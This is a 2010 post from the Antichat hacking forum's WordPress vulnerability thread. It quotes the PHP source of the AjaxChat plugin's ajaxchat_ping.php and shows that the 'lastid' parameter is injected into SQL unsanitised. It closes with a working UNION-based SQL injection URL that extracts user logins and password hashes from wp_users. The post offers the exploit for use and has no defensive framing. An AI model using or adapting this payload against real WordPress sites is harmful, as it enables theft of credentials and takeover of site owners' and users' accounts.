Форум АНТИЧАТ - [ Обзор уязвимостей WordPress ]

#29

07.06.2010, 05:01

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

Провел на форуме:
3363660

Репутация: 1148

AjaxChat скачать
Last Updated: 2010-6-2

SQL inj
wp-content\plugins\ajaxchat\ajaxchat_ping.php

PHP код:


		
			
require_once('ajaxchat_config.php');

if(!session_id()) { session_start(); }

header("Pragma: no-cache");

header("Cache-Contro: no-cache");

$id=$_GET['lastid']?$_GET['lastid']:0;

function getrand($len) {

    $str="";

    $a=array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9');

    for($i=0;$i<$len;$i++) {

        $rand=rand(0,count($a)-1);

        $str.=$a[$rand];

    }

    return $str;

}

global $current_user;

get_currentuserinfo();

$t=time();

$r=$wpdb->get_row("SELECT name,starttime FROM ".$wpdb->prefix."ajaxim_sess WHERE sessid='".session_id()."'");

if(!$r->name) {

    $wpdb->query("INSERT INTO ".$wpdb->prefix."ajaxim_sess (name,lasttime,starttime,sessid) VALUES('Guest_".getrand(5)."',".$t.",".$t.",'".session_id()."')");

}

else {

    $wpdb->query("UPDATE ".$wpdb->prefix."ajaxim_sess SET lasttime=".$t." WHERE sessid='".session_id()."'");

    if($current_user->ID!='' && $r->name!=$current_user->display_name) {

        $wpdb->query($wpdb->prepare("UPDATE ".$wpdb->prefix."ajaxim_sess SET name='%s' WHERE sessid='%s'",$current_user->display_name,session_id()));

    }

}

$_SESSION['lastmsg']=$id;

$r2=$wpdb->query("SELECT name,time,msg,msgid FROM ".$wpdb->prefix."ajaxim_data WHERE time>".$r->starttime." AND msgid>".$id." ORDER BY time");

if($r2>0) {

    $str="NEW:";

    foreach($wpdb->last_result as $res) {

        $str.="<div id='".$res->msgid."' name='".$res->msgid."'>(".date("g:ia",$res->time).")&nbsp;&lt;".$res->name."&gt;&nbsp;".stripslashes($res->msg)."</div>";

    }

    print $str;

}

Exploit:
http://[host]/wp-content/plugins/ajaxchat/ajaxchat_ping.php?lastid=1+or+1=1+union+select+1,2 ,concat_ws(0x3a,user_login,user_pass),4+from+wp_us ers

Последний раз редактировалось Strilo4ka; 07.06.2010 в 05:03..